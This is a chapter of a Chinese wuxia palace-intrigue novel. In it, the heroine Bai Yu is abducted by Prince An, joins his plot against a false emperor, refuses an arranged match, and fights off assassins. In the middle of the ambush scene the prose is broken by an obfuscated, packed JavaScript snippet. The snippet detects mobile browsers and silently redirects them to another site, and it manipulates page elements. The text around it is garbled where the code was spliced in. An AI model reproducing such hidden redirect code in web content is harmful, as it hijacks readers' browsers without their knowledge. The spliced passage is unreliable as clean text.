“你被泼了茶水出去更衣后,没多久永安侯太夫人和侯夫人就找了个借口也离开了,她们走后之前问你身份的那个是安王的儿媳妇,安王就是当今皇上的叔叔,先帝的弟弟,她说你跟死去沈三夫人长得一模一样,她看着你就想起了过世的沈三夫人。长公主及时喝止住了她,她想让你的身份曝光,不知道安的什么心。” 牡丹说完问白羽:“你跟我说说你遇到了什么事?” 白羽就跟牡丹说了太夫人如何“思女成疾”,说侯夫人如何大度地让她改名换姓嫁入侯府,最后她总结道:“不过确实有不知名的人找上侯府,还威胁我想不想知道吴界的下落。” “啊,那你没问问是谁吗?” “问了有什么有,她又不会真的告诉我,白费口舌。”白羽知道侯夫人不会告诉她那个人是谁,所以当时问都没问,“不过,鱼饵撒了这么多,一会儿是沈家,一会儿是安王儿媳妇的,背后之人早就等不及了,他会跳出来的。” 寿宴自然是歌舞升平、满席祝寿之语飘扬。 白羽直到结束都没有见过那位老侯爷,沈言晴的父亲。 寿宴结束后,白羽跟随长公主一行离开,他们来时是两辆马车,长公主夫妻坐前面那辆,她和牡丹坐后面这辆,两辆马车沿着回公主府的路线刚刚转过一条街,白羽就听见守护在车外的侍卫大喝一声,随后就是一阵刀剑相撞声。 白羽只来得及看了牡丹一眼,下一刻就有轻功神速的人飞过马车,掠走了她。 那人轻松攀上房檐一角,命手下都停下来,长公主受惊出来查看,看到牡丹无恙放下了心,又抬头看到在蒙面人手里的白羽,心又提升至半空,她稳住心神开口:“我乃城固长公主,这孩子是我故人之子,阁下非要和我作对不成?” 黑衣人一手握住白羽肩膀,一手捏住她的双腕反剪至身后,因脉门被制,白羽不敢轻举妄动,只听这黑衣人说:“城固长公主息怒,我们主人只是想请这位姑娘说几句话,绝对没有其他的意思,三日后,我们若是不送人回来,您可前往安王府要人。” 话说完毫不拖泥带水,他一声令下,白羽被蒙着眼睛带走了。 再醒来身处一间香气袅袅的精致房间,白羽坐起来观察屋中陈设,可以看出此间主人十分爱香,光是架子上白羽能叫出名字的就有十几种,比如香炉里此刻燃着的是鹅梨帐中香,能助人好眠。 她穿鞋下床,没感觉自己内力运行有什么阻滞,看来她没有被喂什么乱七八糟的药。 白羽去检查门窗看能不能出去,却发现门窗都从外面锁死了。 她转身的时候听到了门锁被打开的声音,而且外面似乎来了不止一个人,她飞快跑回床上躺着,闭上眼装晕。 下一刻,门被推开。 几道杂乱的脚步声走进屋内,一个中年男子行走至床前,疑惑质问道:“不是说那迷药效果不强,今天就能醒吗?怎么现在了还没醒?” 立即有人上前搭上白羽的脉,片刻后,白羽听到那人说:“姑娘若是再不醒,在下就要切断您的心脉了。” 白羽猛然间抽回自己的手,睁开了眼睛。 最先出声的那名中年男子,衣着华丽精贵,显然是几人中的领头人,白羽对上他的眼神,听他问:“你就是随春风的女儿?” 随春风就是吴界,白羽焦急问道:“吴界在哪里?你到底是谁?” “他死了。”中年男子冷然的声音,“我记得我让人给你送过信,让你去蜀中给他收尸,你为何没有去?” “你是谁?”白羽咬着牙问他。 “你可以叫我安王,也可以叫我无影主。” “安王是当今皇上的叔叔,先帝的弟弟。”她记得牡丹是这样跟她说的。而无影主,吴界说他是长风无影阁背后的主人,眼前之人是安王又是无影主,白羽觉得自己嗅到了一个极大的阴谋。 “那你抓我是想做什么?”白羽试探问道。 “我们有共同的目标,不是吗?”安王拉过一把椅子坐下,摆出一副和白羽促膝长谈的模样,“我可以明确告诉你是蒋绥之杀了随春风,我的人追去蜀地亲眼看到的。而你身份特殊,你父亲是当朝太史令,你养父虽然化名吴界,但他是谢家长子,我需要一个人出面揭发这件事情,你是最合适的人选。” 他想要揭发什么事情,不言而喻了。 白羽此刻面临着一个选择,答应或者不答应。 37. 联手 今日是白羽入住安王府的第二日,她今早才知道她醒来的那个房间是安王一个侍妾的卧室,昨晚她就换了住处,如今住在一个芙蕖盛开的院落里。 她没有即刻做出选择,她希望安王给自己时间考虑。 白羽坐在四周悬挂纱帘的凉亭中,有夏风拂过,驱散令人躁郁的热气。她一手敲打着茶碗的杯托,一手托腮,正在思索。 她首先不考虑由自己出面做这件事会不会有什么危险,只要她还有价值,安王就会保她的安全。她父亲因为发现皇帝的身世之谜,被腰斩,连带着她母亲以及在金陵的所有唐家族人满门抄斩。这份仇,如今时机已到,是时候报复回去了。 吴界是被蒋绥之用借口骗去蜀中的,如果他没有死,蒋绥之所做的一切都是为了当今能稳坐皇帝宝座,保他蒋氏一门数百年荣华富贵,但他诱骗吴界,并且还设计射杀他,这个仇她得找蒋绥之报了。 如果,吴界真的死了…… 那么她会亲手砍下蒋绥之的头颅。 无论从哪个角度出发,白羽都觉得自己没有理由不答应。 她在心中想好了对策,就准备起身去找安王。 从她的住所出来,白羽在路边随便拉了一个仆从问他安王在哪?那仆从给她指了前院的方向,但他不常在前院活动,安王具体住哪里他也不能详细知道。 白羽只能闷头朝前院走,等到了再问路。 安王府又和长公主府不是一个风格,虽然都是皇亲国戚的府邸,相比于奢华精致的长公主府,安王府造景更注重恢弘大气,没有那么多曲径回廊,太湖石堆成的假山也只在府中最大的那片湖上,一眼望过去,开阔无余。 白羽踏上湖中九曲石桥,桥下芙蕖盛开,被正午的太阳暴晒过,有些蔫哒哒的花苞正在鼓足劲儿吸饱水分,两只蛱蝶从花芯掠过,白羽袖中滑出那把精铁小扇,她趴在栏杆边伸手扑蝶,蝶翅被扇风扇动,晃晃悠悠地飘向远处。 她意犹未尽地收回手,打开小扇,遮住头顶日光,快速走过了这段石桥路。 桥那头有一座凉亭,有两位年轻公子品茶对弈,白羽目力不差,她自然认得面对她的那人是昨日刚见过沈知文,他怎么会在安王府? 距离已经拉近了,不好装作视而不见,白羽踏上亭下石阶,沈知文轻轻颔首,给她介绍:“这位是安王世子。” 白羽目光下移,背对着她的安王世子,身姿挺拔俊秀,穿一身雪青色金线压纹的氅衣,袍摆绣有大片的雪色牡丹纹,白羽的注意力还在牡丹纹饰上,他却突然转身面对她。 对着这张恍若天人的面孔,白羽站立原地,一时间无法动弹。 原来是他? 竟然是他! 她的师父,又见面了。 “姑娘?白羽姑娘?”安王世子伸手在白羽眼前挥动,又连声呼唤才教她回神。 白羽收起外漏的情绪,垂首给他见礼,安王世子示意她起身,探究问道:“姑娘见了我为何惊讶,难道姑娘认识我?” “并非。”白羽在他们身侧一边石凳坐下,半开玩笑半认真地说:“只是世子好似我的一位故人,是以多看了几眼,还望见谅。” “哦?这我倒好奇了,敢问这位故人是姑娘何人?” 白羽不欲多说,笑着转移话题,转头问:“沈公子怎么在这里?” “知文于我乃友人,今日受邀来府中与我品棋。”安王世子抢在沈知文前头搭上白羽的话,他眼珠子一转,一个计策浮上心头,他问白羽:“白羽姑娘觉得沈兄如何?” “我与沈公子这是第二面,并不相熟,世子何故有此一问?”白羽脸上还挂着客气的笑容。 安王世子并不放弃,他直接跟白羽挑明了说:“我父亲所做的事我并非不知情,白羽姑娘的真实身份我也经过手,我想姑娘这时候走去前院这条路想必是已经做出决定了,既然你我同舟,有什么话不能敞开了说呢?” 白羽的脸色一下子变了,笑容收起来,嘴角拉平,无悲无喜地看着安王世子。这个世子还真是什么都知道,看来沈家太夫人想瞒天过海的做法也瞒不住他。 “知文是我好友,他自然是站在我这边的,你们又是表兄妹,你既然已经选择与我父亲联手,那么你们缔结姻缘,也好给彼此一个安心,有何不可?” “够了!”白羽起身打断安王世子的劝话,她再一次郑重其事道:“我不愿,我与沈家无关,我名白羽。” 她草草行了个礼,声称告退。 人已走出亭中,又在石阶上回头对安王世子说:“我选择与安王殿下联手,是因为我们有共同的仇敌,合作顺利不代表着就要绑定在一起,也不代表我要与沈家握手言和,更不代表别人可以干涉我的人生,以后这样的话还望世子不要再当着我的面说了,我不喜欢听。” 白羽走出很远,树荫遮挡,直到再看不见她的踪影,沈知文才收回目光,不解地问:“世子为何非要撮合我与……白羽姑娘?” 安王世子慢悠悠的目光落在沈知文身上,没打算跟他说假话,直白道:“她虽然应了父亲的邀约以身入局,但她变数太大,提起沈家,她丝毫不顾念,对自己的亲生父母也感情一般,能约束她的也就是她养父之死是蒋绥之所为,可我们也不确定随春风到底死没死透,万一他哪天死而复生,拉着白羽要中途落跑,那我们先前布置的说辞就站不住脚了,毕竟他不愿白羽卷进皇权争夺中是很明显的。” 沈知文坐着拱手,声调听起来轻飘飘的,话语中却有雷霆万钧之力,“我知殿下用心良苦,为推翻伪帝统治、扶王朝正统血脉煞费苦心。但白羽姑娘是我姑母唯一的孩子,还望殿下能顺她心愿,不要勉强她,知文愿为殿下赴汤蹈火,万死不辞。” “为何?”安王世子抬手扶起沈知文拜下去的礼,问道:“既然是你姑母唯一的孩子,那放在身边自己照料不是更放心吗?没有什么比妻子更合适的身份了,难道知文不喜你这表妹?” 沈知文轻笑,坐稳后说:“殿下言重了。诚如白羽姑娘所说,我们并不相熟,何谈喜与不喜?不过是遂姑母心愿,我想她必然不愿自己女儿再回到沈家那座牢笼里,当初才找了白羽养父抚养她长大,而不是送回永安侯府。” 安王世子沉默片刻,只说:“我知道了,我会跟我父亲再商量的。” 一路穿门过户,白羽问到了安王所在。 她站在安王面前,同样开门见山道:“我愿为马前卒,但我希望您答应我三个条件。第一,抓到蒋绥之必须由我亲自审问;第二,为我父母以及唐家无辜冤死之人恢复生前名望;第三,彻查谢家惨案,将真相公之于众。” “好,我答应你。”安王很痛快地答应了。 毕竟白羽这些要求在事成之后对他来说很容易办到,他只是好奇:“你不为自己求什么吗?” 白羽奇怪地看了安王一眼,摇头道:“我别无所求,我只希望吴界还能活着,如果他死了,我为他报仇就是了。” 本来答应的三天不归就让长公主去安王府要人,结果没等到三天安王就得到了自己想要的东西,他依约放白羽回去。 马车行驶在偏僻的巷道里,太阳落山,周围环境灰蒙蒙的,只有车檐两边悬挂的灯笼散发出幽微的光芒。 一阵寒鸦声起,马车越走越荒凉,四周凭白冒出一股烟雾,身处烟雾中,马匹不辨方向。 安王特意吩咐护送白羽的是几个长风无影阁的好手,此时情况诡谲,具小心谨慎持刀护卫在马车周身。 车内白羽自然也早就察觉到不对劲了,她默不作声将小扇从袖中滑出,展开扇面,一层流光在精铁打造的镂空扇骨上流转,她持扇严阵以待。 “是毒烟,白羽姑娘注意屏息。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780789|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 车外一个无影卫冲车内的白羽喊道。 他话音落,马蹄停,毒烟又起。 一波暗箭在浓浓烟雾中,自两侧房顶向他们射来,有人中箭后立马倒地不起,身旁几人互相提醒:“箭尖有毒,大家小心。” “会使毒,那必然是赵雍那狗贼无误了!” 几名无影卫一边打落飞箭,一边在车外交谈,白羽从中听到了赵雍的名字,这不就是当今皇帝的名讳吗?也就是说假皇帝知道她和安王联手,如今是要杀她灭口了。 箭雨不停,或许是看再射下去依然没有办法突破防护圈杀死目标,于是躲在房顶上的人弃了弓箭,跳下房顶,开始近身搏斗。 对方人数众多,各个悍勇无匹,出手就是招招致命的杀招,无影卫几人疲于应付,还真让几个黑衣人抓住纰漏围攻至马车附近。 一柄刀剑挑开帘幕,白羽等的就是这一刻,她长剑不在身边,手中唯一可用的就是这把精铁小扇,她飞身而起,脚尖抵在后车厢壁上,身体直挺挺地向前,像一把锋利无比的长剑,手中小扇一挥,车帘直接被从半腰削掉,离得最近的那个人喉间顿时血流如注,死不瞑目地倒在踏板上。 白羽瞅准时机从车窗翻出去,被她一手利器惊得没回过神的几名黑衣人顿时又围了上来,两方短兵相接,缠斗在一起。 她身影在几人中翻飞,那把诡异的小扇更是让围攻她的人忌惮不已,说不准从什么角度斩过就能割断喉咙、划破头颅、斩断经脉,简直防不胜防。 只是她毕竟年幼力弱,这些年虽然不曾疏于练功,但天生体质差,和成年男子相比还是差得太远,一时居于上风,白羽也没有沾沾自喜,她反而开始担心。 方才小扇和对面刀剑相撞,她能感觉到自己手臂一麻,险些握不住扇柄,再这样下去,用不了多久,这些人就能发现她的弱点,他们定然会选择消耗她的体力,然后让她束手就擒。 她能发现的弱势,对方是浸淫杀术多年的个中高手怎会无知无觉,一时间战局向非常不妙的地步滑去。 无影卫被对方缠住,不能及时脱困来救,白羽必须想办法自救,否则用不了半刻,她就会当场毙命。 她正在想有什么阵法适用此时此刻的困境,还真让她想到了,是一种步法,初初走时只觉杂乱无章,等按照步法踏出两圈之后,就能体会其中奥妙,只是可惜还是要放血。 白羽一边挥扇抵挡,一边踏出脚下步法。 步法成型,她正要抽空自己撞上斩来的刀刃放血,就听长街尽头传来脚步声,气息沉稳、训练有素,是习武之人的脚步声。 “小鹤,我来救你了!”牡丹大喝一声。 她身后带的全是公主府的侍卫,足足有两三百人,一下子扭转战局,人数优势回到了她们这边。 白羽听到牡丹的声音后就把手臂收回背在身后。 公主府侍卫从一侧围困黑衣人,他们自知大势已去,且打且退,很有断尾求生的本事。 将人赶跑后,牡丹奔至白羽面前,拉开她胳膊前后左右检查了一遍,发现没缺什么这才放下心来。 白羽问:“牡丹姐姐,你怎么来了?” “安王给长公主传了口信,我左右等不到你,又怕出了什么意外,所以带了人找过来,没想到还真有危险,你没事就好。” 无影卫有人挂了彩,见白羽安全,又有长公主的人来接,他们告辞回去复命。 白羽在夜色浓重中回到公主府住处,她和牡丹简单交代了在安王府的经历,说明自己会跟安王联手,扳倒假皇帝。 今天晚上遇到的那波杀手就是假皇帝赵雍派来的,白羽如今全是彻底暴露在各大势力眼前了。 流言继续侵袭,金陵贵族对此缄口不言,百姓就没有那么多忌讳,白羽正在找合适的切入点和有力证据,没想到这证据就送上门了。